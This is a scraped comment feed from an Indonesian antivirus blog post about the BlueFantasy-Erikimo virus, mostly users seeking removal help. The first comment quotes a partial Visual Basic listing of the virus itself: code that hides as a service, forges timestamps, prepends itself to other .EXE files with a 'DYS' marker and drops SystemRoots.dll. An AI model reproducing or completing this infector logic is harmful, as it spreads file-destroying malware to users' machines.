Comments on: PCMAV SE for BlueFantasy-Erikimo http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/ Copyright © 2006-2011 PC Media Tue, 07 Feb 2012 17:37:43 +0000 hourly 1 http://wordpress.org/?v=3.3.1 By: benss http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/comment-page-2/#comment-11443 benss Thu, 23 Oct 2008 08:41:23 +0000 http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/#comment-11443 apa bisa dibasmi, kalau semua aplikasi (.EXE) dijangkiti. listing yg pernah saya lihat sebagian seperti ini: Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long Sub Form_Load() On Error Resume Next Dim process As Long Dim cow12 As String process = GetCurrentProcessId() Call RegisterServiceProcess(process, RSP_SIMPLE_SERVICE) cow12 = "ZVful" cow1 = cow12 & "sw1Vkhoo" Call WOLUS wolu1 = App.EXEName If Right(App.Path, 1) "\" Then wolu2 = App.Path & "\" End If wolu2 = wolu2 & wolu1 & ".exe" If UCase(wolu2) = winpath & "\SYSTEM32\SYSTEMROOTS.EXE" Then WOLU = Command() For x = 1 To Len(WOLU) xyz = UCase(Mid(WOLU, x, 1)) rangka = rangka + xyz If Right(rangka, 5) = ".EXE " Then rangka = Left(rangka, Len(rangka) - 1) WOLUku = Right$(WOLU, Len(WOLU) - x) GoTo cek End If Next x cek: If UCase(Mid(rangka, 1, 16)) = UCase(propath) Then PROSESPF (rangka) GoTo okee End If If UCase(Mid(rangka, 1, 16)) UCase(propath) Then ff = FreeFile tgljam1 = FileDateTime(rangka) For w = 1 To Len(tgljam1) Scan = Mid(tgljam1, w, 1) If Scan = " " Then tgl1 = tgl1 + Scan jam1 = Mid(tgljam1, w + 1, Len(tgljam1) - w) GoTo stempel End If tgl1 = tgl1 + Scan Next w End If stempel: tgljam0 = Date$ jam0 = Time$ Date = tgl1 Time = jam1 Open rangka For Binary Access Read As ff Dim sebenarnya As String sebenarnya = Space(LOF(ff)) Get #ff, 1, sebenarnya If UCase(Right(sebenarnya, 3)) = "DYS" Then Call KE_ASLINYA End If Close #ff Open wolu2 For Binary Access Read As #2 Dim bobot As String bobot = Space(ukuranku) Get #2, 1, bobot Close #2 Open rangka For Binary Access Write As ff Put #ff, 1, bobot Put #ff, ukuranku, sebenarnya Put #ff, LOF(ff) + 3, "DYS" Close #ff Call KE_ASLINYA Call LIBAS End If JANGKIT dstnya .... On Error Resume Next Kill files ff = FreeFile Open wolu2 For Binary Access Read As #ff Dim kodeku As String kodeku = Space(ukuranku) Get #ff, 1, kodeku Close Open winpath & files11teksnya For Binary Access Write As #ff Put #ff, 1, kodeku Put #ff, LOF(ff) + 3, "DYS" Close FileCopy winpath & files11teksnya, winpath & "\system32\SystemRoots.dll" Call KE_ASLINYA dstnya... apa bisa dibasmi, kalau semua aplikasi (.EXE) dijangkiti. listing yg pernah saya lihat sebagian seperti ini:
Private Declare Function GetCurrentProcessId Lib “kernel32″ () As Long
Private Declare Function RegisterServiceProcess Lib “kernel32″ (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Private Declare Function OpenProcess Lib “kernel32″ (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessID As Long) As Long
Private Declare Function GetExitCodeProcess Lib “kernel32″ (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib “kernel32″ (ByVal hObject As Long) As Long
Sub Form_Load()
On Error Resume Next
Dim process As Long
Dim cow12 As String
process = GetCurrentProcessId()
Call RegisterServiceProcess(process, RSP_SIMPLE_SERVICE)
cow12 = “ZVful”
cow1 = cow12 & “sw1Vkhoo”
Call WOLUS
wolu1 = App.EXEName
If Right(App.Path, 1) “\” Then
wolu2 = App.Path & “\”
End If
wolu2 = wolu2 & wolu1 & “.exe”
If UCase(wolu2) = winpath & “\SYSTEM32\SYSTEMROOTS.EXE” Then
WOLU = Command()
For x = 1 To Len(WOLU)
xyz = UCase(Mid(WOLU, x, 1))
rangka = rangka + xyz
If Right(rangka, 5) = “.EXE ” Then
rangka = Left(rangka, Len(rangka) – 1)
WOLUku = Right$(WOLU, Len(WOLU) – x)
GoTo cek
End If
Next x
cek:
If UCase(Mid(rangka, 1, 16)) = UCase(propath) Then
PROSESPF (rangka)
GoTo okee
End If
If UCase(Mid(rangka, 1, 16)) UCase(propath) Then
ff = FreeFile
tgljam1 = FileDateTime(rangka)
For w = 1 To Len(tgljam1)
Scan = Mid(tgljam1, w, 1)
If Scan = ” ” Then
tgl1 = tgl1 + Scan
jam1 = Mid(tgljam1, w + 1, Len(tgljam1) – w)
GoTo stempel
End If
tgl1 = tgl1 + Scan
Next w
End If
stempel:
tgljam0 = Date$
jam0 = Time$
Date = tgl1
Time = jam1
Open rangka For Binary Access Read As ff
Dim sebenarnya As String
sebenarnya = Space(LOF(ff))
Get #ff, 1, sebenarnya
If UCase(Right(sebenarnya, 3)) = “DYS” Then
Call KE_ASLINYA
End If
Close #ff
Open wolu2 For Binary Access Read As #2
Dim bobot As String
bobot = Space(ukuranku)
Get #2, 1, bobot
Close #2
Open rangka For Binary Access Write As ff
Put #ff, 1, bobot
Put #ff, ukuranku, sebenarnya
Put #ff, LOF(ff) + 3, “DYS”
Close #ff
Call KE_ASLINYA
Call LIBAS
End If
JANGKIT
dstnya ….
On Error Resume Next
Kill files
ff = FreeFile
Open wolu2 For Binary Access Read As #ff
Dim kodeku As String
kodeku = Space(ukuranku)
Get #ff, 1, kodeku
Close
Open winpath & files11teksnya For Binary Access Write As #ff
Put #ff, 1, kodeku
Put #ff, LOF(ff) + 3, “DYS”
Close
FileCopy winpath & files11teksnya, winpath & “\system32\SystemRoots.dll”
Call KE_ASLINYA
dstnya…

]]> By: rayn http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/comment-page-2/#comment-10666 rayn Fri, 05 Sep 2008 03:01:13 +0000 http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/#comment-10666 mau share nih..... gmn nangani virus k6wkwon2.exe pake apa ya antivirusnya so untuk virus yg notabene ........./win32..... mau share nih…..
gmn nangani virus k6wkwon2.exe
pake apa ya antivirusnya
so untuk virus yg notabene ………/win32…..

]]> By: iCha http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/comment-page-2/#comment-8744 iCha Tue, 20 May 2008 05:21:01 +0000 http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/#comment-8744 dUw notebOokq kna erikimO jga... gmna neh.. mnA tUgas skOlah lgy nUmpuk... help dOnk... dUw notebOokq kna erikimO jga…
gmna neh.. mnA tUgas skOlah lgy nUmpuk…
help dOnk…

]]> By: rangdiz http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/comment-page-2/#comment-7923 rangdiz Fri, 11 Apr 2008 15:41:24 +0000 http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/#comment-7923 Gw kena virus ini barusan, keknya varian baru. PCMAV 26 cmn bisa detect aja tp gak bisa clean gmana neh, control panel jd gak bisa d akses, system restore jg gak bs d akes help dunk Gw kena virus ini barusan, keknya varian baru. PCMAV 26 cmn bisa detect aja tp gak bisa clean gmana neh, control panel jd gak bisa d akses, system restore jg gak bs d akes

help dunk

]]> By: Roycker http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/comment-page-2/#comment-7510 Roycker Sun, 23 Mar 2008 13:20:59 +0000 http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/#comment-7510 gw cuma titip pesen ama yg buat virus, ditunggu yg baru, yg ini mah 'cemen' & cari lg CW yg baru jgn cengeng!!!. tapi, nice try!!!! gw cuma titip pesen ama yg buat virus, ditunggu yg baru, yg ini mah ‘cemen’ & cari lg CW yg baru jgn cengeng!!!. tapi, nice try!!!!

]]> By: harnaz http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/comment-page-2/#comment-7483 harnaz Sat, 22 Mar 2008 10:57:53 +0000 http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/#comment-7483 say kena virus bernama BlueFantasy-Erikimo.inf tapi saya mau donwload PCMAV Single Edition (SE) - Special Cleaner for BlueFantasy-Erikimo gak bisa dan saya sudah pake pcmav anti-virus1.1 update tidak terdeteksi say kena virus bernama BlueFantasy-Erikimo.inf tapi saya mau donwload PCMAV Single Edition (SE) – Special Cleaner for BlueFantasy-Erikimo gak bisa dan saya sudah pake pcmav anti-virus1.1 update tidak terdeteksi

]]> By: rado http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/comment-page-2/#comment-7428 rado Tue, 18 Mar 2008 06:06:42 +0000 http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/#comment-7428 ada versi freenya gak..? thx ada versi freenya gak..?

thx

]]> By: as http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/comment-page-1/#comment-5151 as Sun, 25 Nov 2007 21:30:46 +0000 http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/#comment-5151 mo tanya klo mo ilangin virus ini dr flash disknya gmn ya?? flash disk udh diformat, masih tetep aja ada mo tanya klo mo ilangin virus ini dr flash disknya gmn ya?? flash disk udh diformat, masih tetep aja ada

]]> By: 1337 krew http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/comment-page-1/#comment-5131 1337 krew Sat, 24 Nov 2007 06:25:53 +0000 http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/#comment-5131 komp gua kena blue fantasy erikimo tapi , pcmav rc20 gua uda deteksi dan "object was cleaned" tapi, pas komp gua restart, tuh virus masih ada......"Surabaya is my birthday...." Gmana NEH ??????????? komp gua kena blue fantasy erikimo tapi , pcmav rc20 gua uda deteksi dan “object was cleaned”
tapi, pas komp gua restart, tuh virus masih ada……”Surabaya is my birthday….”

Gmana NEH ???????????

]]> By: michael http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/comment-page-1/#comment-5022 michael Fri, 16 Nov 2007 23:28:44 +0000 http://virusindonesia.com/2007/04/05/pcmav-se-for-bluefantasy-erikimo/#comment-5022 saya mau tanya, apa nama asli virus erikimo itu ketika di deteksi sama antivirus? terimakasih. saya mau tanya, apa nama asli virus erikimo itu ketika di deteksi sama antivirus?
terimakasih.

]]>